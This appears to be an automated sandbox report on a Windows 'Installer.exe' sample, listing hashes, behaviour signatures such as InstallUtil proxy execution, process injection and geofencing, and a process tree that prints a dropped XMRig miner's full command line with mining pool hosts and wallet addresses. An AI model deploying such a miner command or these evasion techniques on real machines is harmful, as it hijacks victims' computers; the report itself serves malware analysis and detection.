Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
23-12-2024 19:39
General
-
Target
Installer.exe
-
Size
4.6MB
-
MD5
43dba66b8c79ae15207a60f4151934ca
-
SHA1
20d2f0cb9a7df3808aff1fb65a1a039c32508584
-
SHA256
03ebe6a1c6d8aca197174ddf127b9f4cdbfc9607eeba60920531d70170deb64f
-
SHA512
6d4492e06a039959cccc67b073b4d12293cf32a46858a99f850a9301f242df896a488bb1caba6a673719259091adb34170606225f2987c93f3111c2390821474
-
SSDEEP
49152:PrX04x/He4aIqYuUvsY5HXc8fqv6hugnMJ0dUBsAJjAwuoiap81gDy9zsESdFM:w4xfZ7T9fh/nMJ9fWq81oE
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 12 IoCs
-
System Binary Proxy Execution: InstallUtil 1 TTPs 2 IoCs
Abuse InstallUtil to proxy execution of malicious code.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- System Binary Proxy Execution: InstallUtil
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\System\OmegaEngine.exe"C:\Users\Admin\Documents\System\OmegaEngine.exe" -B --donate-level 1 -o us-west.minexmr.com:4444 -u 42f6N5D66RXLeWEBnWGHxhS2iHhPf2YEfHUWX6Hj86TDG8XdqFPB5Jn61K2Go78LbYMvJTar6Dcafe6TQHFwfmad2FHjvuU -k --coin monero -o xmr-us-east1.nanopool.org:14444 -u 46s2W3v7uF2YciHLmfuvAf3o2tNFwEYN44MaTJcgumQVUtfBHfASdLodxna8kNsC7SMG2Q1pVK8hx7T4nANEYQMn5RsqzFZ -k --coin monero3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
41KB
MD55d4073b2eb6d217c19f2b22f21bf8d57
SHA1f0209900fbf08d004b886a0b3ba33ea2b0bf9da8
SHA256ac1a3f21fcc88f9cee7bf51581eafba24cc76c924f0821deb2afdf1080ddf3d3
SHA5129ac94880684933ba3407cdc135abc3047543436567af14cd9269c4adc5a6535db7b867d6de0d6238a21b94e69f9890dbb5739155871a624520623a7e56872159
-
Filesize
6.8MB
MD52c5f8843f514824fc636f451fc6a18b4
SHA1a1c5490efea431fa3f54562d0d19d4f6826c562a
SHA256363841b14e9048fd50a012f2a3e04c3f86312fbcd3c1f4a837a102fe7e258ca7
SHA512b51cf66c2604e4e9ed363933cfb2acad7e1591036b1f8339333aa6d74625b680a952078dcdbd231204e06572d9ca24855d19138dd77eaabc673ab148b89be717
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
584KB
-
Filesize
7.7MB
-
Filesize
200KB
-
Filesize
88KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
4.6MB
-
Filesize
104KB
-
Filesize
24KB
-
Filesize
3.3MB
-
Filesize
136KB
-
Filesize
624KB
-
Filesize
5.6MB
-
Filesize
4KB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
5.2MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.0MB
-
Filesize
7.7MB
-
Filesize
7.7MB